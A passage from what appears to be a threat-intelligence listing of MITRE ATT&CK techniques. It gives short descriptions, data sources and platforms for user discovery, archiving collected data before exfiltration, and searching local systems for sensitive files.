Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre